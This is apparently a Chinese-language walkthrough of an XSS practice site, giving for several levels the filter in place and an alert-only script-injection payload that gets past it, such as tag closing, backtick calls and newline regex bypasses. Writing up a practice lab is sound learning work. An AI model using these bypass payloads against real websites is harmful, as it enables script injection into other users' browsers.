xss练习闯关

https://xss.haozi.me/

0x00

无任何限制

payload如下:

<script>alert("liuxixi")</script>

xss练习闯关

 0x01

先输入xxx发现就存在于<textarea></textarea>之前显示,那么我们需要把前后进行闭合,最后才会显示我们输入的内容。

payload如下:

</textarea><script>alert("liuxixi1")</script><textarea>

xss练习闯关

 0x02

先输入xxx发现输的内容在双引号内,发现前面有三个双引号,那么肯定是没有闭合。

xss练习闯关

 构造payload。闭合前面的双引号,这里需要注意的是input前面的   <  也要闭合。

payload如下:

"><script>alert("liuxixi2")</script><"

xss练习闯关

0x03

查看后端代码,发现过滤了(),那么我们同样可以用反引号来代替()就行了

xss练习闯关

 payload如下:

<script>alert`liuxixi3`</script>

 xss练习闯关

 0x05

同样的方法,输入xxx发现输入内容存在于<!--  -->之间,那么我们还是将前后进行闭合,最终显示我们输入的内容。

xss练习闯关

payload如下:

--!><script>alert("liuxixi5")</script><--

xss练习闯关

 0x06

我们输入前面任意一个payload,发现   >  会变成  _  符号。

查看后端代码发现,过滤了以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查。

我这里用的onmousemove,意思是当鼠标移动时进行触发弹窗显示。

payload如下:

onmousemove
=alert("liuxixi6")

xss练习闯关

 0x08

xss练习闯关

首先我们一看页面就是肯定要闭合掉<style>标签。那么我们试一下

xss练习闯关

 从上图看到我们闭合的</style>标签被注释掉了,说明被过滤掉了。

那么我们只能通过换行绕过正则。

payload如下:

</style
><script>alert("liuxixi8")</script>

xss练习闯关

相关推荐